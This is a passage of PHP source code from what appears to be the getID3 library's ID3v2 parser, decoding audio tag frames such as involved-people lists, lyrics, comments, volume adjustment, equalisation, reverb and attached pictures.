			$parsedFrame['data_raw']   = (string) substr($parsedFrame['data'], $frame_offset);

			// http://www.getid3.org/phpBB3/viewtopic.php?t=1369
			// "this tag typically contains null terminated strings, which are associated in pairs"
			// "there are users that use the tag incorrectly"
			$IPLS_parts = array();
			if (strpos($parsedFrame['data_raw'], "\x00") !== false) {
				$IPLS_parts_unsorted = array();
				if (((strlen($parsedFrame['data_raw']) % 2) == 0) && ((substr($parsedFrame['data_raw'], 0, 2) == "\xFF\xFE") || (substr($parsedFrame['data_raw'], 0, 2) == "\xFE\xFF"))) {
					// UTF-16, be careful looking for null bytes since most 2-byte characters may contain one; you need to find twin null bytes, and on even padding
					$thisILPS  = '';
					for ($i = 0; $i < strlen($parsedFrame['data_raw']); $i += 2) {
						$twobytes = substr($parsedFrame['data_raw'], $i, 2);
						if ($twobytes === "\x00\x00") {
							$IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS);
							$thisILPS  = '';
						} else {
							$thisILPS .= $twobytes;
						}
					}
					if (strlen($thisILPS) > 2) { // 2-byte BOM
						$IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS);
					}
				} else {
					// ISO-8859-1 or UTF-8 or other single-byte-null character set
					$IPLS_parts_unsorted = explode("\x00", $parsedFrame['data_raw']);
				}
				if (count($IPLS_parts_unsorted) == 1) {
					// just a list of names, e.g. "Dino Baptiste, Jimmy Copley, John Gordon, Bernie Marsden, Sharon Watson"
					foreach ($IPLS_parts_unsorted as $key => $value) {
						$IPLS_parts_sorted = preg_split('#[;,\\r\\n\\t]#', $value);
						$position = '';
						foreach ($IPLS_parts_sorted as $person) {
							$IPLS_parts[] = array('position'=>$position, 'person'=>$person);
						}
					}
				} elseif ((count($IPLS_parts_unsorted) % 2) == 0) {
					$position = '';
					$person   = '';
					foreach ($IPLS_parts_unsorted as $key => $value) {
						if (($key % 2) == 0) {
							$position = $value;
						} else {
							$person   = $value;
							$IPLS_parts[] = array('position'=>$position, 'person'=>$person);
							$position = '';
							$person   = '';
						}
					}
				} else {
					foreach ($IPLS_parts_unsorted as $key => $value) {
						$IPLS_parts[] = array($value);
					}
				}

			} else {
				$IPLS_parts = preg_split('#[;,\\r\\n\\t]#', $parsedFrame['data_raw']);
			}
			$parsedFrame['data'] = $IPLS_parts;

			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data'];
			}


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MCDI')) || // 4.4   MCDI Music CD identifier
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MCI'))) {     // 4.5   MCI  Music CD identifier
			//   There may only be one 'MCDI' frame in each tag
			// <Header for 'Music CD identifier', ID: 'MCDI'>
			// CD TOC                <binary data>

			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data'];
			}


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ETCO')) || // 4.5   ETCO Event timing codes
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ETC'))) {     // 4.6   ETC  Event timing codes
			//   There may only be one 'ETCO' frame in each tag
			// <Header for 'Event timing codes', ID: 'ETCO'>
			// Time stamp format    $xx
			//   Where time stamp format is:
			// $01  (32-bit value) MPEG frames from beginning of file
			// $02  (32-bit value) milliseconds from beginning of file
			//   Followed by a list of key events in the following format:
			// Type of event   $xx
			// Time stamp      $xx (xx ...)
			//   The 'Time stamp' is set to zero if directly at the beginning of the sound
			//   or after the previous event. All events MUST be sorted in chronological order.

			$frame_offset = 0;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));

			while ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame['typeid']    = substr($parsedFrame['data'], $frame_offset++, 1);
				$parsedFrame['type']      = $this->ETCOEventLookup($parsedFrame['typeid']);
				$parsedFrame['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
				$frame_offset += 4;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MLLT')) || // 4.6   MLLT MPEG location lookup table
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MLL'))) {     // 4.7   MLL MPEG location lookup table
			//   There may only be one 'MLLT' frame in each tag
			// <Header for 'Location lookup table', ID: 'MLLT'>
			// MPEG frames between reference  $xx xx
			// Bytes between reference        $xx xx xx
			// Milliseconds between reference $xx xx xx
			// Bits for bytes deviation       $xx
			// Bits for milliseconds dev.     $xx
			//   Then for every reference the following data is included;
			// Deviation in bytes         %xxx....
			// Deviation in milliseconds  %xxx....

			$frame_offset = 0;
			$parsedFrame['framesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 2));
			$parsedFrame['bytesbetweenreferences']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 2, 3));
			$parsedFrame['msbetweenreferences']     = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 5, 3));
			$parsedFrame['bitsforbytesdeviation']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 8, 1));
			$parsedFrame['bitsformsdeviation']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 9, 1));
			$parsedFrame['data'] = substr($parsedFrame['data'], 10);
			while ($frame_offset < strlen($parsedFrame['data'])) {
				$deviationbitstream .= getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
			}
			$reference_counter = 0;
			while (strlen($deviationbitstream) > 0) {
				$parsedFrame[$reference_counter]['bytedeviation'] = bindec(substr($deviationbitstream, 0, $parsedFrame['bitsforbytesdeviation']));
				$parsedFrame[$reference_counter]['msdeviation']   = bindec(substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'], $parsedFrame['bitsformsdeviation']));
				$deviationbitstream = substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'] + $parsedFrame['bitsformsdeviation']);
				$reference_counter++;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYTC')) || // 4.7   SYTC Synchronised tempo codes
				  (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'STC'))) {  // 4.8   STC  Synchronised tempo codes
			//   There may only be one 'SYTC' frame in each tag
			// <Header for 'Synchronised tempo codes', ID: 'SYTC'>
			// Time stamp format   $xx
			// Tempo data          <binary data>
			//   Where time stamp format is:
			// $01  (32-bit value) MPEG frames from beginning of file
			// $02  (32-bit value) milliseconds from beginning of file

			$frame_offset = 0;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$timestamp_counter = 0;
			while ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame[$timestamp_counter]['tempo'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
				if ($parsedFrame[$timestamp_counter]['tempo'] == 255) {
					$parsedFrame[$timestamp_counter]['tempo'] += ord(substr($parsedFrame['data'], $frame_offset++, 1));
				}
				$parsedFrame[$timestamp_counter]['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
				$frame_offset += 4;
				$timestamp_counter++;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USLT')) || // 4.8   USLT Unsynchronised lyric/text transcription
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ULT'))) {     // 4.9   ULT  Unsynchronised lyric/text transcription
			//   There may be more than one 'Unsynchronised lyrics/text transcription' frame
			//   in each tag, but only one with the same language and content descriptor.
			// <Header for 'Unsynchronised lyrics/text transcription', ID: 'USLT'>
			// Text encoding        $xx
			// Language             $xx xx xx
			// Content descriptor   <text string according to encoding> $00 (00)
			// Lyrics/text          <full text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
			$frame_offset += 3;
			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
				// if description only contains a BOM or terminator then make it blank
				$frame_description = '';
			}
			$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));

			$parsedFrame['encodingid']   = $frame_textencoding;
			$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['language']     = $frame_language;
			$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
			$parsedFrame['description']  = $frame_description;
			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYLT')) || // 4.9   SYLT Synchronised lyric/text
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'SLT'))) {     // 4.10  SLT  Synchronised lyric/text
			//   There may be more than one 'SYLT' frame in each tag,
			//   but only one with the same language and content descriptor.
			// <Header for 'Synchronised lyrics/text', ID: 'SYLT'>
			// Text encoding        $xx
			// Language             $xx xx xx
			// Time stamp format    $xx
			//   $01  (32-bit value) MPEG frames from beginning of file
			//   $02  (32-bit value) milliseconds from beginning of file
			// Content type         $xx
			// Content descriptor   <text string according to encoding> $00 (00)
			//   Terminated text to be synced (typically a syllable)
			//   Sync identifier (terminator to above string)   $00 (00)
			//   Time stamp                                     $xx (xx ...)

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
			$frame_offset += 3;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['contenttypeid']   = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['contenttype']     = $this->SYTLContentTypeLookup($parsedFrame['contenttypeid']);
			$parsedFrame['encodingid']      = $frame_textencoding;
			$parsedFrame['encoding']        = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['language']        = $frame_language;
			$parsedFrame['languagename']    = $this->LanguageLookup($frame_language, false);

			$timestampindex = 0;
			$frame_remainingdata = substr($parsedFrame['data'], $frame_offset);
			while (strlen($frame_remainingdata)) {
				$frame_offset = 0;
				$frame_terminatorpos = strpos($frame_remainingdata, $frame_textencoding_terminator);
				if ($frame_terminatorpos === false) {
					$frame_remainingdata = '';
				} else {
					if (ord(substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
						$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
					}
					$parsedFrame['lyrics'][$timestampindex]['data'] = substr($frame_remainingdata, $frame_offset, $frame_terminatorpos - $frame_offset);

					$frame_remainingdata = substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator));
					if (($timestampindex == 0) && (ord($frame_remainingdata{0}) != 0)) {
						// timestamp probably omitted for first data item
					} else {
						$parsedFrame['lyrics'][$timestampindex]['timestamp'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 4));
						$frame_remainingdata = substr($frame_remainingdata, 4);
					}
					$timestampindex++;
				}
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMM')) || // 4.10  COMM Comments
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'COM'))) {     // 4.11  COM  Comments
			//   There may be more than one comment frame in each tag,
			//   but only one with the same language and content descriptor.
			// <Header for 'Comment', ID: 'COMM'>
			// Text encoding          $xx
			// Language               $xx xx xx
			// Short content descrip. <text string according to encoding> $00 (00)
			// The actual text        <full text string according to encoding>

			if (strlen($parsedFrame['data']) < 5) {

				$this->warning('Invalid data (too short) for "'.$parsedFrame['frame_name'].'" frame at offset '.$parsedFrame['dataoffset']);

			} else {

				$frame_offset = 0;
				$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
				$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
				if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
					$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
					$frame_textencoding_terminator = "\x00";
				}
				$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
				$frame_offset += 3;
				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
				}
				$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
					// if description only contains a BOM or terminator then make it blank
					$frame_description = '';
				}
				$frame_text = (string) substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));

				$parsedFrame['encodingid']   = $frame_textencoding;
				$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);

				$parsedFrame['language']     = $frame_language;
				$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
				$parsedFrame['description']  = $frame_description;
				$parsedFrame['data']         = $frame_text;
				if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
					$commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (!empty($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0));
					if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) {
						$info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
					} else {
						$info['id3v2']['comments'][$parsedFrame['framenameshort']][]            = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
					}
				}

			}

		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'RVA2')) { // 4.11  RVA2 Relative volume adjustment (2) (ID3v2.4+ only)
			//   There may be more than one 'RVA2' frame in each tag,
			//   but only one with the same identification string
			// <Header for 'Relative volume adjustment (2)', ID: 'RVA2'>
			// Identification          <text string> $00
			//   The 'identification' string is used to identify the situation and/or
			//   device where this adjustment should apply. The following is then
			//   repeated for every channel:
			// Type of channel         $xx
			// Volume adjustment       $xx xx
			// Bits representing peak  $xx
			// Peak volume             $xx (xx ...)

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00");
			$frame_idstring = substr($parsedFrame['data'], 0, $frame_terminatorpos);
			if (ord($frame_idstring) === 0) {
				$frame_idstring = '';
			}
			$frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00"));
			$parsedFrame['description'] = $frame_idstring;
			$RVA2channelcounter = 0;
			while (strlen($frame_remainingdata) >= 5) {
				$frame_offset = 0;
				$frame_channeltypeid = ord(substr($frame_remainingdata, $frame_offset++, 1));
				$parsedFrame[$RVA2channelcounter]['channeltypeid']  = $frame_channeltypeid;
				$parsedFrame[$RVA2channelcounter]['channeltype']    = $this->RVA2ChannelTypeLookup($frame_channeltypeid);
				$parsedFrame[$RVA2channelcounter]['volumeadjust']   = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, 2), false, true); // 16-bit signed
				$frame_offset += 2;
				$parsedFrame[$RVA2channelcounter]['bitspeakvolume'] = ord(substr($frame_remainingdata, $frame_offset++, 1));
				if (($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] < 1) || ($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] > 4)) {
					$this->warning('ID3v2::RVA2 frame['.$RVA2channelcounter.'] contains invalid '.$parsedFrame[$RVA2channelcounter]['bitspeakvolume'].'-byte bits-representing-peak value');
					break;
				}
				$frame_bytespeakvolume = ceil($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] / 8);
				$parsedFrame[$RVA2channelcounter]['peakvolume']     = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, $frame_bytespeakvolume));
				$frame_remainingdata = substr($frame_remainingdata, $frame_offset + $frame_bytespeakvolume);
				$RVA2channelcounter++;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'RVAD')) || // 4.12  RVAD Relative volume adjustment (ID3v2.3 only)
				  (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'RVA'))) {  // 4.12  RVA  Relative volume adjustment (ID3v2.2 only)
			//   There may only be one 'RVA' frame in each tag
			// <Header for 'Relative volume adjustment', ID: 'RVA'>
			// ID3v2.2 => Increment/decrement     %000000ba
			// ID3v2.3 => Increment/decrement     %00fedcba
			// Bits used for volume descr.        $xx
			// Relative volume change, right      $xx xx (xx ...) // a
			// Relative volume change, left       $xx xx (xx ...) // b
			// Peak volume right                  $xx xx (xx ...)
			// Peak volume left                   $xx xx (xx ...)
			//   ID3v2.3 only, optional (not present in ID3v2.2):
			// Relative volume change, right back $xx xx (xx ...) // c
			// Relative volume change, left back  $xx xx (xx ...) // d
			// Peak volume right back             $xx xx (xx ...)
			// Peak volume left back              $xx xx (xx ...)
			//   ID3v2.3 only, optional (not present in ID3v2.2):
			// Relative volume change, center     $xx xx (xx ...) // e
			// Peak volume center                 $xx xx (xx ...)
			//   ID3v2.3 only, optional (not present in ID3v2.2):
			// Relative volume change, bass       $xx xx (xx ...) // f
			// Peak volume bass                   $xx xx (xx ...)

			$frame_offset = 0;
			$frame_incrdecrflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['incdec']['right'] = (bool) substr($frame_incrdecrflags, 6, 1);
			$parsedFrame['incdec']['left']  = (bool) substr($frame_incrdecrflags, 7, 1);
			$parsedFrame['bitsvolume'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_bytesvolume = ceil($parsedFrame['bitsvolume'] / 8);
			$parsedFrame['volumechange']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			if ($parsedFrame['incdec']['right'] === false) {
				$parsedFrame['volumechange']['right'] *= -1;
			}
			$frame_offset += $frame_bytesvolume;
			$parsedFrame['volumechange']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			if ($parsedFrame['incdec']['left'] === false) {
				$parsedFrame['volumechange']['left'] *= -1;
			}
			$frame_offset += $frame_bytesvolume;
			$parsedFrame['peakvolume']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			$frame_offset += $frame_bytesvolume;
			$parsedFrame['peakvolume']['left']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			$frame_offset += $frame_bytesvolume;
			if ($id3v2_majorversion == 3) {
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
				if (strlen($parsedFrame['data']) > 0) {
					$parsedFrame['incdec']['rightrear'] = (bool) substr($frame_incrdecrflags, 4, 1);
					$parsedFrame['incdec']['leftrear']  = (bool) substr($frame_incrdecrflags, 5, 1);
					$parsedFrame['volumechange']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['rightrear'] === false) {
						$parsedFrame['volumechange']['rightrear'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['volumechange']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['leftrear'] === false) {
						$parsedFrame['volumechange']['leftrear'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['leftrear']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
				}
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
				if (strlen($parsedFrame['data']) > 0) {
					$parsedFrame['incdec']['center'] = (bool) substr($frame_incrdecrflags, 3, 1);
					$parsedFrame['volumechange']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['center'] === false) {
						$parsedFrame['volumechange']['center'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
				}
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
				if (strlen($parsedFrame['data']) > 0) {
					$parsedFrame['incdec']['bass'] = (bool) substr($frame_incrdecrflags, 2, 1);
					$parsedFrame['volumechange']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['bass'] === false) {
						$parsedFrame['volumechange']['bass'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
				}
			}
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'EQU2')) { // 4.12  EQU2 Equalisation (2) (ID3v2.4+ only)
			//   There may be more than one 'EQU2' frame in each tag,
			//   but only one with the same identification string
			// <Header of 'Equalisation (2)', ID: 'EQU2'>
			// Interpolation method  $xx
			//   $00  Band
			//   $01  Linear
			// Identification        <text string> $00
			//   The following is then repeated for every adjustment point
			// Frequency          $xx xx
			// Volume adjustment  $xx xx

			$frame_offset = 0;
			$frame_interpolationmethod = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_idstring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_idstring) === 0) {
				$frame_idstring = '';
			}
			$parsedFrame['description'] = $frame_idstring;
			$frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00"));
			while (strlen($frame_remainingdata)) {
				$frame_frequency = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 2)) / 2;
				$parsedFrame['data'][$frame_frequency] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, 2), false, true);
				$frame_remainingdata = substr($frame_remainingdata, 4);
			}
			$parsedFrame['interpolationmethod'] = $frame_interpolationmethod;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'EQUA')) || // 4.12  EQUA Equalisation (ID3v2.3 only)
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'EQU'))) {     // 4.13  EQU  Equalisation (ID3v2.2 only)
			//   There may only be one 'EQUA' frame in each tag
			// <Header for 'Relative volume adjustment', ID: 'EQU'>
			// Adjustment bits    $xx
			//   This is followed by 2 bytes + ('adjustment bits' rounded up to the
			//   nearest byte) for every equalisation band in the following format,
			//   giving a frequency range of 0 - 32767Hz:
			// Increment/decrement   %x (MSB of the Frequency)
			// Frequency             (lower 15 bits)
			// Adjustment            $xx (xx ...)

			$frame_offset = 0;
			$parsedFrame['adjustmentbits'] = substr($parsedFrame['data'], $frame_offset++, 1);
			$frame_adjustmentbytes = ceil($parsedFrame['adjustmentbits'] / 8);

			$frame_remainingdata = (string) substr($parsedFrame['data'], $frame_offset);
			while (strlen($frame_remainingdata) > 0) {
				$frame_frequencystr = getid3_lib::BigEndian2Bin(substr($frame_remainingdata, 0, 2));
				$frame_incdec    = (bool) substr($frame_frequencystr, 0, 1);
				$frame_frequency = bindec(substr($frame_frequencystr, 1, 15));
				$parsedFrame[$frame_frequency]['incdec'] = $frame_incdec;
				$parsedFrame[$frame_frequency]['adjustment'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, $frame_adjustmentbytes));
				if ($parsedFrame[$frame_frequency]['incdec'] === false) {
					$parsedFrame[$frame_frequency]['adjustment'] *= -1;
				}
				$frame_remainingdata = substr($frame_remainingdata, 2 + $frame_adjustmentbytes);
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RVRB')) || // 4.13  RVRB Reverb
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'REV'))) {     // 4.14  REV  Reverb
			//   There may only be one 'RVRB' frame in each tag.
			// <Header for 'Reverb', ID: 'RVRB'>
			// Reverb left (ms)                 $xx xx
			// Reverb right (ms)                $xx xx
			// Reverb bounces, left             $xx
			// Reverb bounces, right            $xx
			// Reverb feedback, left to left    $xx
			// Reverb feedback, left to right   $xx
			// Reverb feedback, right to right  $xx
			// Reverb feedback, right to left   $xx
			// Premix left to right             $xx
			// Premix right to left             $xx

			$frame_offset = 0;
			$parsedFrame['left']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['bouncesL']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['bouncesR']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackLL']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackLR']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackRR']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackRL']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['premixLR']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['premixRL']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'APIC')) || // 4.14  APIC Attached picture
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'PIC'))) {     // 4.15  PIC  Attached picture
			//   There may be several pictures attached to one file,
			//   each in their individual 'APIC' frame, but only one
			//   with the same content descriptor
			// <Header for 'Attached picture', ID: 'APIC'>
			// Text encoding      $xx
			// ID3v2.3+ => MIME type          <text string> $00
			// ID3v2.2  => Image format       $xx xx xx
			// Picture type       $xx
			// Description        <text string according to encoding> $00 (00)
			// Picture data       <binary data>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}

			if ($id3v2_majorversion == 2 && strlen($parsedFrame['data']) > $frame_offset) {
				$frame_imagetype = substr($parsedFrame['data'], $frame_offset, 3);
				if (strtolower($frame_imagetype) == 'ima') {
					// complete hack for mp3Rage (www.chaoticsoftware.com) that puts ID3v2.3-formatted
					// MIME type instead of 3-char ID3v2.2-format image type  (thanks xbhoffØpacbell*net)
